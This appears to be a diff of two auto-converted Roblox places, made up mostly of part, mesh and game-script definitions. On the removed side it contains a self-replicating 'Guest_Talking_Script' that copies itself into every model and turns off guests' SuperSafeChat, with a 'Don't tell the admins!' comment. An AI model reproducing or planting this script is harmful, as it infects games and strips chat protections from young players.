Part166.Size = Vector3.new(2, 2, 1)
3035-
elseif ison == 0 then
3035+
Part166.BrickColor = BrickColor.new("Reddish brown")
3036-
if arms then
3036+
Part166.LeftParamA = 0
3037-
sh[1].Part1 = arms[1]
3037+
Part166.LeftParamB = 0
3038-
sh[2].Part1 = arms[2]
3038+
Part166.LeftSurface = Enum.SurfaceType.Weld
3039-
f.Parent = nil
3039+
Part166.RightParamA = 0
3040-
arms[2].Name = "Right Leg"
3040+
Part166.RightParamB = 0
3041-
arms[1].Name = "Left Leg"
3041+
Part166.RightSurface = Enum.SurfaceType.Weld
3042-
welds[1].Parent = nil
3042+
Part166.brickColor = BrickColor.new("Reddish brown")
3043-
welds[2].Parent = nil
3043+
Part166.FormFactor = Enum.FormFactor.Symmetric
3044
Part166.formFactor = Enum.FormFactor.Symmetric
3045
Part167.Name = "Left Leg"
3046-
--
3046+
Part167.Parent = Model162
3047
Part167.CFrame = CFrame.new(195.608551, 2.59995508, 236.013428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
3048-
else
3048+
Part167.Orientation = Vector3.new(0, 90, 0)
3049-
print("sh")
3049+
Part167.Position = Vector3.new(195.608551, 2.59995508, 236.013428)
3050
Part167.Rotation = Vector3.new(0, 90, 0)
3051-
else
3051+
Part167.Color = Color3.new(0.411765, 0.25098, 0.156863)
3052-
print("arms")
3052+
Part167.Size = Vector3.new(1, 2, 1)
3053
Part167.BottomSurface = Enum.SurfaceType.Smooth
3054
Part167.BrickColor = BrickColor.new("Reddish brown")
3055-
function Key(key)
3055+
Part167.CanCollide = false
3056-
if key then
3056+
Part167.brickColor = BrickColor.new("Reddish brown")
3057-
key = string.lower(key)
3057+
Part167.FormFactor = Enum.FormFactor.Symmetric
3058-
if (key=="c") then
3058+
Part167.formFactor = Enum.FormFactor.Symmetric
3059-
if on == 1 then
3059+
Part168.Name = "Right Leg"
3060-
on = 0
3060+
Part168.Parent = Model162
3061-
elseif on == 0 then
3061+
Part168.CFrame = CFrame.new(195.608551, 2.59995508, 235.013428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
3062-
on = 1
3062+
Part168.Orientation = Vector3.new(0, 90, 0)
3063
Part168.Position = Vector3.new(195.608551, 2.59995508, 235.013428)
3064-
Crouch(on)
3064+
Part168.Rotation = Vector3.new(0, 90, 0)
3065
Part168.Color = Color3.new(0.411765, 0.25098, 0.156863)
3066
Part168.Size = Vector3.new(1, 2, 1)
3067
Part168.BottomSurface = Enum.SurfaceType.Smooth
3068-
function Equip(mouse)
3068+
Part168.BrickColor = BrickColor.new("Reddish brown")
3069-
mouse.KeyDown:connect(Key)
3069+
Part168.CanCollide = false
3070
Part168.brickColor = BrickColor.new("Reddish brown")
3071-
script.Parent.Equipped:connect(Equip)
3071+
Part168.FormFactor = Enum.FormFactor.Symmetric
3072
Part168.formFactor = Enum.FormFactor.Symmetric
3073
Humanoid169.Parent = Model162
3074
Humanoid169.LeftLeg = Part167
3075-
Part251.Name = "Bolt"
3075+
Humanoid169.NameOcclusion = Enum.NameOcclusion.NoOcclusion
3076-
Part251.Parent = Tool140
3076+
Humanoid169.RightLeg = Part168
3077-
Part251.CFrame = CFrame.new(174.303375, 16.2907658, 183.273102, -0.20458822, 0.97884804, -7.15255737e-06, 1.3127923e-05, -4.41074371e-06, -0.99999994, -0.97884798, -0.20458822, -1.1920929e-05)
3077+
Humanoid169.Torso = Part166
3078-
Part251.Orientation = Vector3.new(89.9799957, -149.039993, 108.57)
3078+
Part170.Name = "zarm"
3079-
Part251.Position = Vector3.new(174.303375, 16.2907658, 183.273102)
3079+
Part170.Parent = Model162
3080-
Part251.Rotation = Vector3.new(90, 0, -101.809998)
3080+
Part170.CFrame = CFrame.new(195.108551, 5.09995508, 237.013428, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
3081-
Part251.Color = Color3.new(0.388235, 0.372549, 0.384314)
3081+
Part170.Orientation = Vector3.new(0, 180, 0)
3082-
Part251.Velocity = Vector3.new(-0.00584103307, 0.00159745081, -1.69331324e-05)
3082+
Part170.Position = Vector3.new(195.108551, 5.09995508, 237.013428)
3083-
Part251.Size = Vector3.new(1, 0.400000006, 1)
3083+
Part170.Rotation = Vector3.new(-180, 0, -180)
3084
Part170.Color = Color3.new(0.631373, 0.768628, 0.54902)
3085-
Part251.BrickColor = BrickColor.new("Dark stone grey")
3085+
Part170.Size = Vector3.new(2, 1, 1)
3086-
Part251.CanCollide = false
3086+
Part170.BottomSurface = Enum.SurfaceType.Smooth
3087-
Part251.RotVelocity = Vector3.new(-0.000503696559, -0.000824314484, 0.00360981515)
3087+
Part170.BrickColor = BrickColor.new("Medium green")
3088
Part170.TopSurface = Enum.SurfaceType.Smooth
3089-
Part251.brickColor = BrickColor.new("Dark stone grey")
3089+
Part170.brickColor = BrickColor.new("Medium green")
3090-
Part251.FormFactor = Enum.FormFactor.Plate
3090+
Part170.FormFactor = Enum.FormFactor.Symmetric
3091-
Part251.formFactor = Enum.FormFactor.Plate
3091+
Part170.formFactor = Enum.FormFactor.Symmetric
3092-
Sound252.Name = "HitSound"
3092+
Script171.Parent = Part170
3093-
Sound252.Parent = Part251
3093+
table.insert(cors,sandbox(Script171,function()
3094-
Sound252.SoundId = "http://www.roblox.com/asset/?id=16211030"
3094+
wait(1)
3095-
Sound252.Volume = 1
3095+
owner=script.Parent.Parent.Name
3096-
BodyGyro253.Parent = Part251
3096+
3097-
BodyGyro253.MaxTorque = Vector3.new(0, 0, 0)
3097+
function onTouched(part)
3098-
BodyGyro253.maxTorque = Vector3.new(0, 0, 0)
3098+
	if part.Parent ~= nil then
3099-
Sound254.Name = "ConnectSound"
3099+
		local h = part.Parent:findFirstChild("Humanoid")
3100-
Sound254.Parent = Part251
3100+
			if h~=nil then
3101-
Sound254.SoundId = "http://www.roblox.com/asset/?id=13510737"
3101+
				if cantouch~=0 then
3102-
Sound254.Volume = 1
3102+
					if h.Parent.Name~=owner then
3103-
SpecialMesh255.Parent = Part251
3103+
						
3104-
SpecialMesh255.MeshId = "http://www.roblox.com/asset/?id=30307623"
3104+
						if h.Parent:findFirstChild("zarm")~=nil then return end
3105-
SpecialMesh255.Scale = Vector3.new(0.400000006, 0.400000006, 0.400000006)
3105+
3106-
SpecialMesh255.TextureId = "http://www.roblox.com/asset/?id=30307531"
3106+
						cantouch=0
3107-
SpecialMesh255.MeshType = Enum.MeshType.FileMesh
3107+
3108-
Script256.Name = "PUT THIS IN THE WEAPON"
3108+
						local larm=h.Parent:findFirstChild("Left Arm")
3109-
Script256.Parent = Tool140
3109+
						local rarm=h.Parent:findFirstChild("Right Arm")
3110-
table.insert(cors,sandbox(Script256,function()
3110+
						
3111-
local debounce = false
3111+
						if larm~=nil then
3112
							larm:remove()
3113-
function getPlayer(humanoid) 
3113+
						end
3114-
local players = game.Players:children() 
3114+
						if rarm~=nil then
3115-
for i = 1, #players do 
3115+
							rarm:remove()
3116-
if players[i].Character.Humanoid == humanoid then return players[i] end 
3116+
						end
3117-
end 
3117+
						local zee=script.Parent.Parent:findFirstChild("zarm")
3118-
return nil 
3118+
						if zee~=nil then
3119-
end 
3119+
							local zlarm=zee:clone()
3120
							local zrarm=zee:clone()
3121-
function onTouch(part) 
3121+
							if zlarm~=nil then
3122
3123-
local human = part.Parent:findFirstChild("Humanoid") 
3123+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
3124-
if (human ~= nil) and debounce == false then
3124+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
3125
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
3126-
debounce = true
3126+
								zlarm.Parent=h.Parent
3127
								zrarm.Parent=h.Parent
3128-
local player = getPlayer(human) 
3128+
								zlarm:makeJoints()
3129
								zrarm:makeJoints()
3130-
if (player == nil) then return end 
3130+
								zlarm.Anchored=false
3131
								zrarm.Anchored=false
3132-
script.Parent:clone().Parent = player.Backpack
3132+
								wait(0.1)
3133
								h.Parent.Head.Color=zee.Color
3134-
wait(2)
3134+
							else print("no zee"); return end
3135-
debounce = false
3135+
						end
3136
						wait(1)
3137
						cantouch=1
3138
					end
3139
				end
3140-
script.Parent.Parent.Touched:connect(onTouch) 
3140+
3141
	end
3142
end
3143-
Fire257.Parent = Part139
3143+
3144-
Fire257.Color = Color3.new(1, 0.745098, 0)
3144+
3145-
Fire257.Enabled = false
3145+
3146-
Fire257.Size = 30
3146+
Part172.Name = "zarm"
3147-
Fire257.Heat = 25
3147+
Part172.Parent = Model162
3148-
Fire257.SecondaryColor = Color3.new(1, 0, 0)
3148+
Part172.CFrame = CFrame.new(195.108551, 5.09995508, 234.013428, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
3149-
Fire257.size = 30
3149+
Part172.Orientation = Vector3.new(0, 180, 0)
3150-
Script258.Parent = Fire257
3150+
Part172.Position = Vector3.new(195.108551, 5.09995508, 234.013428)
3151
Part172.Rotation = Vector3.new(-180, 0, -180)
3152-
function Spread(part)
3152+
Part172.Color = Color3.new(0.631373, 0.768628, 0.54902)
3153-
	check = part:findFirstChild("Fire")
3153+
Part172.Size = Vector3.new(2, 1, 1)
3154-
		if check == nil then 
3154+
Part172.BottomSurface = Enum.SurfaceType.Smooth
3155-
	script.Parent:Clone().Parent = part
3155+
Part172.BrickColor = BrickColor.new("Medium green")
3156-
	
3156+
Part172.TopSurface = Enum.SurfaceType.Smooth
3157-
		elseif check ~= nil then
3157+
Part172.brickColor = BrickColor.new("Medium green")
3158-
	check.Size = check.Size + 1
3158+
Part172.FormFactor = Enum.FormFactor.Symmetric
3159-
	check.Heat = check.Heat  +1
3159+
Part172.formFactor = Enum.FormFactor.Symmetric
3160
Script173.Parent = Part172
3161
table.insert(cors,sandbox(Script173,function()
3162
wait(1)
3163
owner=script.Parent.Parent.Name
3164-
script.Parent.Parent.Touched:connect(Spread)
3164+
3165
function onTouched(part)
3166
	if part.Parent ~= nil then
3167
		local h = part.Parent:findFirstChild("Humanoid")
3168-
Part259.Name = "Smooth Block Model"
3168+
			if h~=nil then
3169-
Part259.Parent = Model135
3169+
				if cantouch~=0 then
3170-
Part259.CFrame = CFrame.new(174.901611, 17.5235443, 184.3125, -0.999999702, -2.31133472e-05, -1.04804976e-05, -2.31131762e-05, 1, -1.26419191e-05, 1.04807905e-05, -1.26416526e-05, -0.999999702)
3170+
					if h.Parent.Name~=owner then
3171-
Part259.Orientation = Vector3.new(0, -180, 0)
3171+
						
3172-
Part259.Position = Vector3.new(174.901611, 17.5235443, 184.3125)
3172+
						if h.Parent:findFirstChild("zarm")~=nil then return end
3173-
Part259.Rotation = Vector3.new(180, 0, 180)
3173+
3174-
Part259.Color = Color3.new(0.105882, 0.164706, 0.207843)
3174+
						cantouch=0
3175-
Part259.Transparency = 0.30000001192093
3175+
3176-
Part259.Size = Vector3.new(3, 6, 1)
3176+
						local larm=h.Parent:findFirstChild("Left Arm")
3177-
Part259.Anchored = true
3177+
						local rarm=h.Parent:findFirstChild("Right Arm")
3178-
Part259.BrickColor = BrickColor.new("Black")
3178+
						
3179-
Part259.brickColor = BrickColor.new("Black")
3179+
						if larm~=nil then
3180-
Fire260.Parent = Part259
3180+
							larm:remove()
3181-
Fire260.Color = Color3.new(1, 0.745098, 0)
3181+
						end
3182-
Fire260.Enabled = false
3182+
						if rarm~=nil then
3183-
Fire260.Size = 30
3183+
							rarm:remove()
3184-
Fire260.Heat = 25
3184+
						end
3185-
Fire260.SecondaryColor = Color3.new(1, 0, 0)
3185+
						local zee=script.Parent.Parent:findFirstChild("zarm")
3186-
Fire260.size = 30
3186+
						if zee~=nil then
3187-
Script261.Parent = Fire260
3187+
							local zlarm=zee:clone()
3188-
table.insert(cors,sandbox(Script261,function()
3188+
							local zrarm=zee:clone()
3189-
function Spread(part)
3189+
							if zlarm~=nil then
3190-
	check = part:findFirstChild("Fire")
3190+
3191-
		if check == nil then 
3191+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
3192-
	script.Parent:Clone().Parent = part
3192+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
3193-
	
3193+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
3194-
		elseif check ~= nil then
3194+
								zlarm.Parent=h.Parent
3195-
	check.Size = check.Size + 1
3195+
								zrarm.Parent=h.Parent
3196-
	check.Heat = check.Heat  +1
3196+
								zlarm:makeJoints()
3197
								zrarm:makeJoints()
3198
								zlarm.Anchored=false
3199
								zrarm.Anchored=false
3200
								wait(0.1)
3201-
script.Parent.Parent.Touched:connect(Spread)
3201+
								h.Parent.Head.Color=zee.Color
3202
							else print("no zee"); return end
3203
						end
3204
						wait(1)
3205-
Part262.Name = "Smooth Block Model"
3205+
						cantouch=1
3206-
Part262.Parent = Model135
3206+
					end
3207-
Part262.CFrame = CFrame.new(174.901611, 21.1223888, 182.8125, -1, 0, 0, 0, 1, 0, 0, 0, -1)
3207+
				end
3208-
Part262.Orientation = Vector3.new(0, 180, 0)
3208+
3209-
Part262.Position = Vector3.new(174.901611, 21.1223888, 182.8125)
3209+
3210-
Part262.Rotation = Vector3.new(-180, 0, -180)
3210+
3211-
Part262.Color = Color3.new(0.105882, 0.164706, 0.207843)
3211+
3212-
Part262.Transparency = 0.30000001192093
3212+
3213-
Part262.Size = Vector3.new(5, 1.20000005, 4)
3213+
3214-
Part262.Anchored = true
3214+
ObjectValue174.Name = "IsNZ"
3215-
Part262.BrickColor = BrickColor.new("Black")
3215+
ObjectValue174.Parent = Model162
3216-
Part262.TopSurface = Enum.SurfaceType.Smooth
3216+
IntValue175.Name = "Mode"
3217-
Part262.brickColor = BrickColor.new("Black")
3217+
IntValue175.Parent = Model162
3218-
Fire263.Parent = Part262
3218+
Script176.Parent = Model162
3219-
Fire263.Color = Color3.new(1, 0.745098, 0)
3219+
table.insert(cors,sandbox(Script176,function()
3220-
Fire263.Enabled = false
3220+
local larm = script.Parent:FindFirstChild("Left Arm")
3221-
Fire263.Size = 30
3221+
local rarm = script.Parent:FindFirstChild("Right Arm")
3222-
Fire263.Heat = 25
3222+
3223-
Fire263.SecondaryColor = Color3.new(1, 0, 0)
3223+
function findNearestTorso(pos)
3224-
Fire263.size = 30
3224+
	local list = game.Workspace:children()
3225-
Script264.Parent = Fire263
3225+
	local torso = nil
3226-
table.insert(cors,sandbox(Script264,function()
3226+
	local dist = 1000
3227-
function Spread(part)
3227+
	local temp = nil
3228-
	check = part:findFirstChild("Fire")
3228+
	local human = nil
3229-
		if check == nil then 
3229+
	local temp2 = nil
3230-
	script.Parent:Clone().Parent = part
3230+
	for x = 1, #list do
3231-
	
3231+
		temp2 = list[x]
3232-
		elseif check ~= nil then
3232+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
3233-
	check.Size = check.Size + 1
3233+
			temp = temp2:findFirstChild("Right Arm")
3234-
	check.Heat = check.Heat  +1
3234+
			human = temp2:findFirstChild("Humanoid")
3235
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
3236
				if (temp.Position - pos).magnitude < dist then
3237
					torso = temp
3238
					dist = (temp.Position - pos).magnitude
3239-
script.Parent.Parent.Touched:connect(Spread)
3239+
				end
3240
			end
3241
		end
3242
	end
3243-
Part265.Name = "Smooth Block Model"
3243+
	return torso
3244-
Part265.Parent = Model135
3244+
3245-
Part265.CFrame = CFrame.new(174.901611, 17.5235233, 181.3125, -0.999999702, -2.31133472e-05, -1.04804976e-05, -2.31131762e-05, 1, -1.26419191e-05, 1.04807905e-05, -1.26416526e-05, -0.999999702)
3245+
3246-
Part265.Orientation = Vector3.new(0, -180, 0)
3246+
3247-
Part265.Position = Vector3.new(174.901611, 17.5235233, 181.3125)
3247+
3248-
Part265.Rotation = Vector3.new(180, 0, 180)
3248+
3249-
Part265.Color = Color3.new(0.105882, 0.164706, 0.207843)
3249+
3250-
Part265.Transparency = 0.30000001192093
3250+
	wait(math.random(1,5))
3251-
Part265.Size = Vector3.new(5, 6, 1)
3251+
	local target = findNearestTorso(script.Parent.Torso.Position)
3252-
Part265.Anchored = true
3252+
	if target ~= nil then
3253-
Part265.BrickColor = BrickColor.new("Black")
3253+
		script.Parent.Humanoid:MoveTo(target.Position, target)
3254-
Part265.brickColor = BrickColor.new("Black")
3254+
3255-
Part266.Name = "Smooth Block Model"
3255+
3256-
Part266.Parent = Model135
3256+
3257-
Part266.CFrame = CFrame.new(172.901611, 17.52244, 183.3125, 0, 0, -1, 0, 1, 0, 1, 0, 0)
3257+
3258-
Part266.Orientation = Vector3.new(0, -90, 0)
3258+
3259-
Part266.Position = Vector3.new(172.901611, 17.52244, 183.3125)
3259+
Script177.Name = "Health"
3260-
Part266.Rotation = Vector3.new(0, -90, 0)
3260+
Script177.Parent = Model162
3261-
Part266.Color = Color3.new(0.105882, 0.164706, 0.207843)
3261+
table.insert(cors,sandbox(Script177,function()
3262-
Part266.Transparency = 0.30000001192093
3262+
function waitForChild(parent, childName)
3263-
Part266.Size = Vector3.new(3, 6, 1)
3263+
	while true do
3264-
Part266.Anchored = true
3264+
		local child = parent:findFirstChild(childName)
3265-
Part266.BrickColor = BrickColor.new("Black")
3265+
		if child then
3266-
Part266.brickColor = BrickColor.new("Black")
3266+
3267-
Script267.Name = "Guest_Talking_Script"
3267+
3268-
Script267.Parent = Model135
3268+
		parent.ChildAdded:wait()
3269-
table.insert(cors,sandbox(Script267,function()
3269+
3270-
--Farvei's totally awesome script that makes Guests talk
3270+
3271-
--Please give credit
3271+
3272-
--Don't tell the admins!
3272+
-- declarations
3273-
--Unnote the vaccine if you'd like to remove all copies of this script in your place
3273+
3274-
if (script.Parent == workspace) then
3274+
local Figure = script.Parent
3275-
	function checkForAndSwitch(player)
3275+
local Head = waitForChild(Figure, "Head")
3276-
		if (player.SuperSafeChat == true) then
3276+
local Humanoid = waitForChild(Figure, "Humanoid")
3277-
			player.SuperSafeChat = false;
3277+
Humanoid.Health=500
3278-
			wait(5);
3278+
-- regeneration
3279-
			local m = Instance.new("Message");
3279+
3280-
			m.Text = "Hey People! Its elomoto1236.";
3280+
	local s = wait(4)
3281-
			m.Parent = player;
3281+
	local health = Humanoid.Health
3282-
			wait(5);
3282+
	if health > 0 and health < Humanoid.MaxHealth then
3283-
			m.Text = "Just hit the /, and than type in your message..";
3283+
		health = health + 0.08 * s * Humanoid.MaxHealth
3284-
			wait(5);
3284+
		if health * 1.05 < Humanoid.MaxHealth then
3285-
			m:Remove();
3285+
			Humanoid.Health = health
3286-
			m = nil;
3286+
		else
3287
			Humanoid.Health = Humanoid.MaxHealth
3288-
		player = nil;
3288+
3289-
		collectgarbage("collect");
3289+
3290
end
3291
3292-
	function onChildAddedToPlayers(obj)
3292+
3293-
		if (obj.className == "Player") then
3293+
Script178.Name = "Respawn"
3294-
			checkForAndSwitch(obj);
3294+
Script178.Parent = Model162
3295-
			local m = Instance.new("Message");
3295+
table.insert(cors,sandbox(Script178,function()
3296-
			m.Text = "elomoto1236 here. Guests are welcome to talk here.";
3296+
name="Humanoid"
3297-
			m.Parent = obj;
3297+
3298-
			wait(5);
3298+
robo=script.Parent:clone()
3299-
			m:Remove();
3299+
3300-
			m = nil;
3300+
3301
	wait(1)
3302-
		obj = nil;
3302+
	if script.Parent.Humanoid.Health<1 then
3303-
		collectgarbage("collect");
3303+
		robot=robo:clone()
3304
		robot.Parent=script.Parent.Parent
3305
		robot:makeJoints()
3306-
	function onChildAddedToWorkspace(obj)
3306+
		script.Parent:remove()
3307-
		if (obj.className == "Model") then
3307+
3308-
			if (game.Players:playerFromCharacter(obj) ~= nil) then
3308+
3309-
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
3309+
3310
3311
3312-
		obj = nil;
3312+
3313-
		collectgarbage("collect");
3313+
3314
Part179.Name = "Spawn Location"
3315
Part179.Parent = Model161
3316-
	function findLowestLevel(obj)
3316+
Part179.CFrame = CFrame.new(195.113556, 0.603015006, 235.491455, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
3317-
		local c = obj:GetChildren();
3317+
Part179.Orientation = Vector3.new(0, 180, 0)
3318-
		local lowestLevel = true;
3318+
Part179.Position = Vector3.new(195.113556, 0.603015006, 235.491455)
3319
Part179.Rotation = Vector3.new(-180, 0, -180)
3320-
		for i, v in pairs(c) do
3320+
Part179.Color = Color3.new(0.631373, 0.768628, 0.54902)
3321-
			if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
3321+
Part179.Size = Vector3.new(6, 1.20000005, 6)
3322-
				lowestLevel = false;
3322+
Part179.BottomSurface = Enum.SurfaceType.Weld
3323-
				wait();
3323+
Part179.BrickColor = BrickColor.new("Medium green")
3324-
				findLowestLevel(v);
3324+
Part179.TopSurface = Enum.SurfaceType.Smooth
3325
Part179.brickColor = BrickColor.new("Medium green")
3326
Decal180.Parent = Part179
3327
Decal180.Texture = "http://www.roblox.com/asset/?id=34541722"
3328-
		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
3328+
Decal180.Face = Enum.NormalId.Top
3329-
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
3329+
Model181.Parent = Model0
3330-
				local s = script:Clone();
3330+
Model182.Name = "Zombie"
3331-
				s.Parent = obj;
3331+
Model182.Parent = Model181
3332
Model182.PrimaryPart = Part183
3333
Part183.Name = "Head"
3334
Part183.Parent = Model182
3335
Part183.CFrame = CFrame.new(195.591461, 6.09995508, 247.48645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
3336-
	findLowestLevel(game);
3336+
Part183.Orientation = Vector3.new(0, 90, 0)
3337
Part183.Position = Vector3.new(195.591461, 6.09995508, 247.48645)
3338-
	game.Players.ChildAdded:connect(onChildAddedToPlayers);
3338+
Part183.Rotation = Vector3.new(0, 90, 0)
3339-
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
3339+
Part183.Color = Color3.new(0.631373, 0.768628, 0.54902)
3340-
else
3340+
Part183.Size = Vector3.new(2, 1, 1)
3341-
	local findScript = workspace:FindFirstChild(script.Name);
3341+
Part183.BrickColor = BrickColor.new("Medium green")
3342
Part183.TopSurface = Enum.SurfaceType.Smooth
3343-
	if (findScript == nil) then
3343+
Part183.brickColor = BrickColor.new("Medium green")
3344-
		local s = script:Clone();
3344+
Part183.FormFactor = Enum.FormFactor.Symmetric
3345-
		s.Parent = workspace;
3345+
Part183.formFactor = Enum.FormFactor.Symmetric
3346
SpecialMesh184.Parent = Part183
3347
SpecialMesh184.Scale = Vector3.new(1.25, 1.25, 1.25)
3348
Decal185.Name = "face"
3349-
--[[function findAllCopies(obj)
3349+
Decal185.Parent = Part183
3350-
	local c = obj:GetChildren();
3350+
Part186.Name = "Torso"
3351
Part186.Parent = Model182
3352-
	for i, v in pairs(c) do
3352+
Part186.CFrame = CFrame.new(195.591461, 4.59995508, 247.48645, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
3353-
		if (v.Name == script.Name and v.className == "Script" and v ~= script) then
3353+
Part186.Orientation = Vector3.new(0, 90, 0)
3354-
			v.Parent = nil;
3354+
Part186.Position = Vector3.new(195.591461, 4.59995508, 247.48645)
3355-
		elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
3355+
Part186.Rotation = Vector3.new(0, 90, 0)
3356-
			findAllCopies(v);
3356+
Part186.Color = Color3.new(0.411765, 0.25098, 0.156863)
3357
Part186.Size = Vector3.new(2, 2, 1)
3358
Part186.BrickColor = BrickColor.new("Reddish brown")
3359
Part186.LeftParamA = 0
3360
Part186.LeftParamB = 0
3361-
findAllCopies(game);
3361+
Part186.LeftSurface = Enum.SurfaceType.Weld
3362
Part186.RightParamA = 0
3363-
script.Parent = nil;]]
3363+
Part186.RightParamB = 0
3364
Part186.RightSurface = Enum.SurfaceType.Weld
3365-
RotateP268.Name = "cptrick"
3365+
Part186.brickColor = BrickColor.new("Reddish brown")
3366-
RotateP268.Parent = Script267
3366+
Part186.FormFactor = Enum.FormFactor.Symmetric
3367-
RotateP269.Name = "stanley12345678910"
3367+
Part186.formFactor = Enum.FormFactor.Symmetric
3368-
RotateP269.Parent = Script267
3368+
Part187.Name = "Left Leg"
3369-
RotateP270.Name = "cahrlie84"
3369+
Part187.Parent = Model182
3370-
RotateP270.Parent = Script267
3370+
Part187.CFrame = CFrame.new(195.591461, 2.59995508, 247.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
3371-
RotateP271.Name = "charlie84"
3371+
Part187.Orientation = Vector3.new(0, 90, 0)
3372-
RotateP271.Parent = Script267
3372+
Part187.Position = Vector3.new(195.591461, 2.59995508, 247.98645)
3373-
RotateP272.Name = "al2tair"
3373+
Part187.Rotation = Vector3.new(0, 90, 0)
3374-
RotateP272.Parent = Script267
3374+
Part187.Color = Color3.new(0.411765, 0.25098, 0.156863)
3375-
Model273.Parent = Model0
3375+
Part187.Size = Vector3.new(1, 2, 1)
3376-
Part274.Name = "Smooth Block Model"
3376+
Part187.BottomSurface = Enum.SurfaceType.Smooth
3377-
Part274.Parent = Model273
3377+
Part187.BrickColor = BrickColor.new("Reddish brown")
3378-
Part274.CFrame = CFrame.new(179.900146, 17.4321556, 184.312134, -0.999999762, -5.0614193e-07, -8.27316398e-06, -5.06181266e-07, 1, 4.75149227e-06, 8.27316217e-06, 4.75149682e-06, -0.999999762)
3378+
Part187.CanCollide = false
3379-
Part274.Orientation = Vector3.new(0, -180, 0)
3379+
Part187.brickColor = BrickColor.new("Reddish brown")
3380-
Part274.Position = Vector3.new(179.900146, 17.4321556, 184.312134)
3380+
Part187.FormFactor = Enum.FormFactor.Symmetric
3381-
Part274.Rotation = Vector3.new(-180, 0, 180)
3381+
Part187.formFactor = Enum.FormFactor.Symmetric
3382-
Part274.Color = Color3.new(0.105882, 0.164706, 0.207843)
3382+
Part188.Name = "Right Leg"
3383-
Part274.Transparency = 0.30000001192093
3383+
Part188.Parent = Model182
3384-
Part274.Size = Vector3.new(3, 6, 1)
3384+
Part188.CFrame = CFrame.new(195.591461, 2.59995508, 246.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
3385-
Part274.Anchored = true
3385+
Part188.Orientation = Vector3.new(0, 90, 0)
3386-
Part274.BrickColor = BrickColor.new("Black")
3386+
Part188.Position = Vector3.new(195.591461, 2.59995508, 246.98645)
3387-
Part274.brickColor = BrickColor.new("Black")
3387+
Part188.Rotation = Vector3.new(0, 90, 0)
3388-
Fire275.Parent = Part274
3388+
Part188.Color = Color3.new(0.411765, 0.25098, 0.156863)
3389-
Fire275.Color = Color3.new(1, 0.745098, 0)
3389+
Part188.Size = Vector3.new(1, 2, 1)
3390-
Fire275.Enabled = false
3390+
Part188.BottomSurface = Enum.SurfaceType.Smooth
3391-
Fire275.Size = 30
3391+
Part188.BrickColor = BrickColor.new("Reddish brown")
3392-
Fire275.Heat = 25
3392+
Part188.CanCollide = false
3393-
Fire275.SecondaryColor = Color3.new(1, 0, 0)
3393+
Part188.brickColor = BrickColor.new("Reddish brown")
3394-
Fire275.size = 30
3394+
Part188.FormFactor = Enum.FormFactor.Symmetric
3395-
Script276.Parent = Fire275
3395+
Part188.formFactor = Enum.FormFactor.Symmetric
3396-
table.insert(cors,sandbox(Script276,function()
3396+
Humanoid189.Parent = Model182
3397-
function Spread(part)
3397+
Humanoid189.LeftLeg = Part187
3398-
	check = part:findFirstChild("Fire")
3398+
Humanoid189.NameOcclusion = Enum.NameOcclusion.NoOcclusion
3399-
		if check == nil then 
3399+
Humanoid189.RightLeg = Part188
3400-
	script.Parent:Clone().Parent = part
3400+
Humanoid189.Torso = Part186
3401-
	
3401+
Part190.Name = "zarm"
3402-
		elseif check ~= nil then
3402+
Part190.Parent = Model182
3403-
	check.Size = check.Size + 1
3403+
Part190.CFrame = CFrame.new(195.091461, 5.09995508, 248.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
3404-
	check.Heat = check.Heat  +1
3404+
Part190.Orientation = Vector3.new(0, 180, 0)
3405
Part190.Position = Vector3.new(195.091461, 5.09995508, 248.98645)
3406
Part190.Rotation = Vector3.new(-180, 0, -180)
3407
Part190.Color = Color3.new(0.631373, 0.768628, 0.54902)
3408
Part190.Size = Vector3.new(2, 1, 1)
3409-
script.Parent.Parent.Touched:connect(Spread)
3409+
Part190.BottomSurface = Enum.SurfaceType.Smooth
3410
Part190.BrickColor = BrickColor.new("Medium green")
3411
Part190.TopSurface = Enum.SurfaceType.Smooth
3412
Part190.brickColor = BrickColor.new("Medium green")
3413-
Part277.Name = "Smooth Block Model"
3413+
Part190.FormFactor = Enum.FormFactor.Symmetric
3414-
Part277.Parent = Model273
3414+
Part190.formFactor = Enum.FormFactor.Symmetric
3415-
Part277.CFrame = CFrame.new(177.900146, 17.4312611, 183.312134, -2.20761831e-06, 2.26069387e-05, -0.99999696, -1.73930312e-05, 1, 2.26073607e-05, 0.99999696, 1.7393304e-05, -2.20721563e-06)
3415+
Script191.Parent = Part190
3416-
Part277.Orientation = Vector3.new(0, -90, 0)
3416+
table.insert(cors,sandbox(Script191,function()
3417-
Part277.Position = Vector3.new(177.900146, 17.4312611, 183.312134)
3417+
wait(1)
3418-
Part277.Rotation = Vector3.new(-95.5799942, -89.8600006, -95.5799942)
3418+
owner=script.Parent.Parent.Name
3419-
